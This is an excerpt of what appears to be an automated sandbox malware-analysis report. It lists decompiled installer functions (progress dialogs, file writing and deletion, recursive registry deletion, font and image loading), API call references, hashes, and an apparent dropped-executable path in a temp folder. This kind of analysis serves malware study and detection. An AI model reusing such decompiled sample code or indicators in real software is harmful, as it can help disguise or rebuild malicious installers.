					SetWindowTextW(_a4,  &_v132);
					SetDlgItemTextW(_a4, 0x406,  &_v132);
				}
				return 0;
			}

0x00402fa3
0x00402fb1
0x00402fb7
0x00402fb7
0x00402fc5
0x00402fc7
0x00402fd3
0x00402fd8
0x00402fda
0x00402fda
0x00402fe5
0x00402ff5
0x00403007
0x00403007
0x0040300f

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402FB1
wsprintfW.USER32 ref: 00402FE5
SetWindowTextW.USER32 ref: 00402FF5
SetDlgItemTextW.USER32 ref: 00403007

Strings

verifying installer: %d%%, xrefs: 00402FDA
unpacking data: %d%%, xrefs: 00402FD3, 00402FE3

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: 863410c55cf87ff373a2389e5224159976098539ce34d2f9597aa36d95ce2bb5
Instruction ID: 8fb0b87627a2e5c232f470bc2292a7be8d93e7e9342cf65e243ccc0cc3a46c1c
Opcode Fuzzy Hash: 863410c55cf87ff373a2389e5224159976098539ce34d2f9597aa36d95ce2bb5
Instruction Fuzzy Hash: 74F0367050020DABEF246F50DD49BEA3B69EB40309F00C03AF606B51D0DBBD99549B59

Uniqueness

Uniqueness Score: -1.00%

Function 00402950 Relevance: 9.1, APIs: 6, Instructions: 91
memoryfileCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00402950(void* __ebx) {
				WCHAR* _t26;
				void* _t29;
				long _t37;
				void* _t49;
				void* _t52;
				void* _t54;
				void* _t56;
				void* _t59;
				void* _t60;
				void* _t61;

				_t49 = __ebx;
				_t52 = 0xfffffd66;
				_t26 = E00402DA6(0xfffffff0);
				_t55 = _t26;
				 *(_t61 - 0x40) = _t26;
				if(E00405FB4(_t26) == 0) {
					E00402DA6(0xffffffed);
				}
				E00406139(_t55);
				_t29 = E0040615E(_t55, 0x40000000, 2);
				 *(_t61 + 8) = _t29;
				if(_t29 != 0xffffffff) {
					 *(_t61 - 0x38) =  *(_t61 - 0x2c);
					if( *(_t61 - 0x28) != _t49) {
						_t37 =  *0x7a8ab4;
						 *(_t61 - 0x44) = _t37;
						_t54 = GlobalAlloc(0x40, _t37);
						if(_t54 != _t49) {
							E004035FE(_t49);
							E004035E8(_t54,  *(_t61 - 0x44));
							_t59 = GlobalAlloc(0x40,  *(_t61 - 0x28));
							 *(_t61 - 0x10) = _t59;
							if(_t59 != _t49) {
								E00403377(_t51,  *(_t61 - 0x2c), _t49, _t59,  *(_t61 - 0x28));
								while( *_t59 != _t49) {
									_t51 =  *_t59;
									_t60 = _t59 + 8;
									 *(_t61 - 0x3c) =  *_t59;
									E00406119( *((intOrPtr*)(_t59 + 4)) + _t54, _t60,  *_t59);
									_t59 = _t60 +  *(_t61 - 0x3c);
								}
								GlobalFree( *(_t61 - 0x10));
							}
							E00406210( *(_t61 + 8), _t54,  *(_t61 - 0x44));
							GlobalFree(_t54);
							 *(_t61 - 0x38) =  *(_t61 - 0x38) | 0xffffffff;
						}
					}
					_t52 = E00403377(_t51,  *(_t61 - 0x38),  *(_t61 + 8), _t49, _t49);
					CloseHandle( *(_t61 + 8));
				}
				_t56 = 0xfffffff3;
				if(_t52 < _t49) {
					_t56 = 0xffffffef;
					DeleteFileW( *(_t61 - 0x40));
					 *((intOrPtr*)(_t61 - 4)) = 1;
				}
				_push(_t56);
				E00401423();
				 *0x7a8b28 =  *0x7a8b28 +  *((intOrPtr*)(_t61 - 4));
				return 0;
			}

0x00402950
0x00402952
0x00402957
0x0040295c
0x0040295f
0x00402969
0x0040296d
0x0040296d
0x00402973
0x00402980
0x00402988
0x0040298b
0x00402997
0x0040299a
0x004029a0
0x004029ae
0x004029b3
0x004029b7
0x004029ba
0x004029c3
0x004029cf
0x004029d3
0x004029d6
0x004029e0
0x004029ff
0x004029e7
0x004029ec
0x004029f4
0x004029f7
0x004029fc
0x004029fc
0x00402a06
0x00402a06
0x00402a13
0x00402a19
0x00402a1f
0x00402a1f
0x004029b7
0x00402a33
0x00402a35
0x00402a35
0x00402a3f
0x00402a40
0x00402a44
0x00402a48
0x00402a4e
0x00402a4e
0x00402a55
0x004022f1
0x00402c2d
0x00402c39

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 004029B1
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004029CD
GlobalFree.KERNEL32(?), ref: 00402A06
GlobalFree.KERNEL32(00000000), ref: 00402A19
CloseHandle.KERNEL32(?), ref: 00402A35
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A48

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 01061f3d3ca3a4d7c364cd067c19041a51f9a0b08810e1f4a161c9a0c4070a25
Instruction ID: ec4356a3eb6c7711b506d5a245a30aad41ccfdb787a60eec272099fea1c037c4
Opcode Fuzzy Hash: 01061f3d3ca3a4d7c364cd067c19041a51f9a0b08810e1f4a161c9a0c4070a25
Instruction Fuzzy Hash: D431C271D00124BBCF216FA9CE49DDEBE79AF49364F14023AF450762E1CB798D419B98

Uniqueness

Uniqueness Score: -1.00%

Function 00402EA9 Relevance: 7.6, APIs: 5, Instructions: 84
registryCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E00402EA9(void* __eflags, void* _a4, short* _a8, signed int _a12) {
				void* _v8;
				int _v12;
				short _v536;
				void* _t27;
				signed int _t33;
				intOrPtr* _t35;
				signed int _t45;
				signed int _t46;
				signed int _t47;

				_t46 = _a12;
				_t47 = _t46 & 0x00000300;
				_t45 = _t46 & 0x00000001;
				_t27 = E004064DB(__eflags, _a4, _a8, _t47 | 0x00000009,  &_v8);
				if(_t27 == 0) {
					if((_a12 & 0x00000002) == 0) {
						L3:
						_push(0x105);
						_push( &_v536);
						_push(0);
						while(RegEnumKeyW(_v8, ??, ??, ??) == 0) {
							__eflags = _t45;
							if(__eflags != 0) {
								L10:
								RegCloseKey(_v8);
								return 0x3eb;
							}
							_t33 = E00402EA9(__eflags, _v8,  &_v536, _a12);
							__eflags = _t33;
							if(_t33 != 0) {
								break;
							}
							_push(0x105);
							_push( &_v536);
							_push(_t45);
						}
						RegCloseKey(_v8);
						_t35 = E00406A3B(3);
						if(_t35 != 0) {
							return  *_t35(_a4, _a8, _t47, 0);
						}
						return RegDeleteKeyW(_a4, _a8);
					}
					_v12 = 0;
					if(RegEnumValueW(_v8, 0,  &_v536,  &_v12, 0, 0, 0, 0) != 0x103) {
						goto L10;
					}
					goto L3;
				}
				return _t27;
			}

0x00402eb4
0x00402ebd
0x00402ec6
0x00402ed2
0x00402edb
0x00402ee5
0x00402f0a
0x00402f10
0x00402f15
0x00402f16
0x00402f46
0x00402f1f
0x00402f21
0x00402f71
0x00402f74
0x00000000
0x00402f7a
0x00402f30
0x00402f35
0x00402f37
0x00000000
0x00000000
0x00402f3f
0x00402f44
0x00402f45
0x00402f45
0x00402f52
0x00402f5a
0x00402f61
0x00000000
0x00402f8a
0x00000000
0x00402f69
0x00402ef5
0x00402f08
0x00000000
0x00000000
0x00000000
0x00402f08
0x00402f90

APIs

RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00402EFD
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402F49
RegCloseKey.ADVAPI32(?), ref: 00402F52
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402F69
RegCloseKey.ADVAPI32(?), ref: 00402F74

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: 2f5760c81b9bdb573da93a40119b3bcbbfe2770e9a6cbc48a05e82d61b54c679
Instruction ID: e84adf69fee3246f56ef13a6fd4e717e0861f51d99737fac189c4d1833cff19f
Opcode Fuzzy Hash: 2f5760c81b9bdb573da93a40119b3bcbbfe2770e9a6cbc48a05e82d61b54c679
Instruction Fuzzy Hash: 31213B7150010ABBDF11AF90CE89EEF7B7DEB54384F110076F909B21E0D7B59E54AA68

Uniqueness

Uniqueness Score: -1.00%

Function 00401D81 Relevance: 7.6, APIs: 5, Instructions: 75
windowCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00401D81(void* __ebx, void* __edx) {
				struct HWND__* _t30;
				WCHAR* _t38;
				void* _t48;
				void* _t53;
				signed int _t55;
				signed int _t60;
				long _t63;
				void* _t65;

				_t53 = __ebx;
				if(( *(_t65 - 0x23) & 0x00000001) == 0) {
					_t30 = GetDlgItem( *(_t65 - 8),  *(_t65 - 0x28));
				} else {
					E00402D84(2);
					 *((intOrPtr*)(__ebp - 0x10)) = __edx;
				}
				_t55 =  *(_t65 - 0x24);
				 *(_t65 + 8) = _t30;
				_t60 = _t55 & 0x00000004;
				 *(_t65 - 0x38) = _t55 & 0x00000003;
				 *(_t65 - 0x18) = _t55 >> 0x1f;
				 *(_t65 - 0x40) = _t55 >> 0x0000001e & 0x00000001;
				if((_t55 & 0x00010000) == 0) {
					_t38 =  *(_t65 - 0x2c) & 0x0000ffff;
				} else {
					_t38 = E00402DA6(0x11);
				}
				 *(_t65 - 0x44) = _t38;
				GetClientRect( *(_t65 + 8), _t65 - 0x60);
				asm("sbb esi, esi");
				_t63 = LoadImageW( ~_t60 &  *0x7a8aa0,  *(_t65 - 0x44),  *(_t65 - 0x38),  *(_t65 - 0x58) *  *(_t65 - 0x18),  *(_t65 - 0x54) *  *(_t65 - 0x40),  *(_t65 - 0x24) & 0x0000fef0);
				_t48 = SendMessageW( *(_t65 + 8), 0x172,  *(_t65 - 0x38), _t63);
				if(_t48 != _t53 &&  *(_t65 - 0x38) == _t53) {
					DeleteObject(_t48);
				}
				if( *((intOrPtr*)(_t65 - 0x30)) >= _t53) {
					_push(_t63);
					E004065B5();
				}
				 *0x7a8b28 =  *0x7a8b28 +  *((intOrPtr*)(_t65 - 4));
				return 0;
			}

0x00401d81
0x00401d85
0x00401d9a
0x00401d87
0x00401d89
0x00401d8f
0x00401d8f
0x00401da0
0x00401da3
0x00401dad
0x00401db0
0x00401db8
0x00401dc9
0x00401dcc
0x00401dd7
0x00401dce
0x00401dd0
0x00401dd0
0x00401ddb
0x00401de5
0x00401e0c
0x00401e1b
0x00401e29
0x00401e31
0x00401e39
0x00401e39
0x00401e42
0x00401e48
0x00402ba4
0x00402ba4
0x00402c2d
0x00402c39

APIs

GetDlgItem.USER32(?,?), ref: 00401D9A
GetClientRect.USER32 ref: 00401DE5
LoadImageW.USER32 ref: 00401E15
SendMessageW.USER32(?,00000172,?,00000000), ref: 00401E29
DeleteObject.GDI32(00000000), ref: 00401E39

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: f665995d6bdb305172d13ad54de642187c856862005d3c57e5c2f614b82d9191
Instruction ID: 474cd979728561ffe20026c9632071baa6ad0bc9fd2f813aa8d1396f3614d648
Opcode Fuzzy Hash: f665995d6bdb305172d13ad54de642187c856862005d3c57e5c2f614b82d9191
Instruction Fuzzy Hash: DC212672D00119AFCF05CBA4DE45AEEBBB5EF08304F14403AF945F62A0DB389951DB98

Uniqueness

Uniqueness Score: -1.00%

Function 00401E4E Relevance: 7.5, APIs: 5, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00401E4E(intOrPtr __edx) {
				void* __edi;
				int _t9;
				signed char _t15;
				struct HFONT__* _t18;
				intOrPtr _t30;
				void* _t31;
				struct HDC__* _t33;
				void* _t35;

				_t30 = __edx;
				_t33 = GetDC( *(_t35 - 8));
				_t9 = E00402D84(2);
				 *((intOrPtr*)(_t35 - 0x10)) = _t30;
				0x40cdf8->lfHeight =  ~(MulDiv(_t9, GetDeviceCaps(_t33, 0x5a), 0x48));
				ReleaseDC( *(_t35 - 8), _t33);
				 *0x40ce08 = E00402D84(3);
				_t15 =  *((intOrPtr*)(_t35 - 0x20));
				 *((intOrPtr*)(_t35 - 0x10)) = _t30;
				 *0x40ce0f = 1;
				 *0x40ce0c = _t15 & 0x00000001;
				 *0x40ce0d = _t15 & 0x00000002;
				 *0x40ce0e = _t15 & 0x00000004;
				E004066AB(_t9, _t31, _t33, 0x40ce14,  *((intOrPtr*)(_t35 - 0x2c)));
				_t18 = CreateFontIndirectW(0x40cdf8);
				_push(_t18);
				_push(_t31);
				E004065B5();
				 *0x7a8b28 =  *0x7a8b28 +  *((intOrPtr*)(_t35 - 4));
				return 0;
			}

0x00401e4e
0x00401e59
0x00401e5b
0x00401e68
0x00401e7f
0x00401e84
0x00401e91
0x00401e96
0x00401e9a
0x00401ea5
0x00401eac
0x00401ebe
0x00401ec4
0x00401ec9
0x00401ed3
0x00402638
0x0040156d
0x00402ba4
0x00402c2d
0x00402c39

APIs

GetDC.USER32(?), ref: 00401E51
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E6B
MulDiv.KERNEL32 ref: 00401E73
ReleaseDC.USER32(?,00000000), ref: 00401E84

Part of subcall function 004066AB: lstrcatW.KERNEL32 ref: 00406850
Part of subcall function 004066AB: lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya,00000000,007A0F68,?,00405707,007A0F68,00000000), ref: 004068AA

CreateFontIndirectW.GDI32(0040CDF8), ref: 00401ED3

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectReleaselstrcatlstrlen
String ID:
API String ID: 2584051700-0
Opcode ID: da8e727cde32dbac5ba0c7db49ef74d213bcb2a0e3f4fe6d3c107a90d4fe1e84
Instruction ID: c4fbce1732c038d4ae3387388930f25584bd8a0c3a5059ecf0713bcf7412b626
Opcode Fuzzy Hash: da8e727cde32dbac5ba0c7db49ef74d213bcb2a0e3f4fe6d3c107a90d4fe1e84
Instruction Fuzzy Hash: 0E01B571900241EFEB005BB4EE89A9A3FB0AB15301F208939F541B71D2C6B904459BED

Uniqueness

Uniqueness Score: -1.00%

Function 00401C43 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
windowtimeCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00401C43(intOrPtr __edx) {
				int _t29;
				long _t30;
				signed int _t32;
				WCHAR* _t35;
				long _t36;
				int _t41;
				signed int _t42;
				int _t46;
				int _t56;
				intOrPtr _t57;
				struct HWND__* _t63;
				void* _t64;

				_t57 = __edx;
				_t29 = E00402D84(3);
				 *((intOrPtr*)(_t64 - 0x10)) = _t57;
				 *(_t64 - 0x18) = _t29;
				_t30 = E00402D84(4);
				 *((intOrPtr*)(_t64 - 0x10)) = _t57;
				 *(_t64 + 8) = _t30;
				if(( *(_t64 - 0x1c) & 0x00000001) != 0) {
					 *((intOrPtr*)(__ebp - 0x18)) = E00402DA6(0x33);
				}
				__eflags =  *(_t64 - 0x1c) & 0x00000002;
				if(( *(_t64 - 0x1c) & 0x00000002) != 0) {
					 *(_t64 + 8) = E00402DA6(0x44);
				}
				__eflags =  *((intOrPtr*)(_t64 - 0x34)) - 0x21;
				_push(1);
				if(__eflags != 0) {
					_t61 = E00402DA6();
					_t32 = E00402DA6();
					asm("sbb ecx, ecx");
					asm("sbb eax, eax");
					_t35 =  ~( *_t31) & _t61;
					__eflags = _t35;
					_t36 = FindWindowExW( *(_t64 - 0x18),  *(_t64 + 8), _t35,  ~( *_t32) & _t32);
					goto L10;
				} else {
					_t63 = E00402D84();
					 *((intOrPtr*)(_t64 - 0x10)) = _t57;
					_t41 = E00402D84(2);
					 *((intOrPtr*)(_t64 - 0x10)) = _t57;
					_t56 =  *(_t64 - 0x1c) >> 2;
					if(__eflags == 0) {
						_t36 = SendMessageW(_t63, _t41,  *(_t64 - 0x18),  *(_t64 + 8));
						L10:
						 *(_t64 - 0x38) = _t36;
					} else {
						_t42 = SendMessageTimeoutW(_t63, _t41,  *(_t64 - 0x18),  *(_t64 + 8), _t46, _t56, _t64 - 0x38);
						asm("sbb eax, eax");
						 *((intOrPtr*)(_t64 - 4)) =  ~_t42 + 1;
					}
				}
				__eflags =  *((intOrPtr*)(_t64 - 0x30)) - _t46;
				if( *((intOrPtr*)(_t64 - 0x30)) >= _t46) {
					_push( *(_t64 - 0x38));
					E004065B5();
				}
				 *0x7a8b28 =  *0x7a8b28 +  *((intOrPtr*)(_t64 - 4));
				return 0;
			}

0x00401c43
0x00401c45
0x00401c4c
0x00401c4f
0x00401c52
0x00401c5c
0x00401c60
0x00401c63
0x00401c6c
0x00401c6c
0x00401c6f
0x00401c73
0x00401c7c
0x00401c7c
0x00401c7f
0x00401c83
0x00401c85
0x00401cda
0x00401cdc
0x00401ce7
0x00401cf1
0x00401cf4
0x00401cf4
0x00401cfd
0x00000000
0x00401c87
0x00401c8e
0x00401c90
0x00401c93
0x00401c99
0x00401ca0
0x00401ca3
0x00401ccb
0x00401d03
0x00401d03
0x00401ca5
0x00401cb3
0x00401cbb
0x00401cbe
0x00401cbe
0x00401ca3
0x00401d06
0x00401d09
0x00401d0f
0x00402ba4
0x00402ba4
0x00402c2d
0x00402c39

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401CB3
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CCB

Strings

!, xrefs: 00401C7F

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: a925d33b65f5538ff345f0f48edbd750304bc8babfa6be52d46d5660b496d1e6
Instruction ID: a8e9040b9442a73e8ccf438a9e221504da771f110143023329da3593775932a3
Opcode Fuzzy Hash: a925d33b65f5538ff345f0f48edbd750304bc8babfa6be52d46d5660b496d1e6
Instruction Fuzzy Hash: 2D219C7190420AAFEF05AFA4D94AAAE7BB4FF84304F14453EF601B61D0D7B88941CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00404E77 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00404E77(int _a4, intOrPtr _a8, signed int _a12, signed int _a16) {
				char _v68;
				char _v132;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t23;
				signed int _t24;
				void* _t31;
				void* _t33;
				void* _t34;
				void* _t44;
				signed int _t46;
				signed int _t50;
				signed int _t52;
				signed int _t53;
				signed int _t55;

				_t23 = _a16;
				_t53 = _a12;
				_t44 = 0xffffffdc;
				if(_t23 == 0) {
					_push(0x14);
					_pop(0);
					_t24 = _t53;
					if(_t53 < 0x100000) {
						_push(0xa);
						_pop(0);
						_t44 = 0xffffffdd;
					}
					if(_t53 < 0x400) {
						_t44 = 0xffffffde;
					}
					if(_t53 < 0xffff3333) {
						_t52 = 0x14;
						asm("cdq");
						_t24 = 1 / _t52 + _t53;
					}
					_t25 = _t24 & 0x00ffffff;
					_t55 = _t24 >> 0;
					_t46 = 0xa;
					_t50 = ((_t24 & 0x00ffffff) + _t25 * 4 + (_t24 & 0x00ffffff) + _t25 * 4 >> 0) % _t46;
				} else {
					_t55 = (_t23 << 0x00000020 | _t53) >> 0x14;
					_t50 = 0;
				}
				_t31 = E004066AB(_t44, _t50, _t55,  &_v68, 0xffffffdf);
				_t33 = E004066AB(_t44, _t50, _t55,  &_v132, _t44);
				_t34 = E004066AB(_t44, _t50, 0x7a1f88, 0x7a1f88, _a8);
				wsprintfW(_t34 + lstrlenW(0x7a1f88) * 2, L"%u.%u%s%s", _t55, _t50, _t33, _t31);
				return SetDlgItemTextW( *0x7a7a78, _a4, 0x7a1f88);
			}

0x00404e80
0x00404e85
0x00404e8d
0x00404e8e
0x00404e9b
0x00404ea3
0x00404ea4
0x00404ea6
0x00404ea8
0x00404eaa
0x00404ead
0x00404ead
0x00404eb4
0x00404eba
0x00404eba
0x00404ec1
0x00404ec8
0x00404ecb
0x00404ece
0x00404ece
0x00404ed2
0x00404ee2
0x00404ee4
0x00404ee7
0x00404e90
0x00404e90
0x00404e97
0x00404e97
0x00404eef
0x00404efa
0x00404f10
0x00404f21
0x00404f3d

APIs

lstrlenW.KERNEL32(007A1F88,007A1F88,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404F18
wsprintfW.USER32 ref: 00404F21
SetDlgItemTextW.USER32 ref: 00404F34

Strings

%u.%u%s%s, xrefs: 00404F02

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 4298df8fa65d3e63540fdf60f99430adbe5e40f9a8b71c27c1b7671c68856ea4
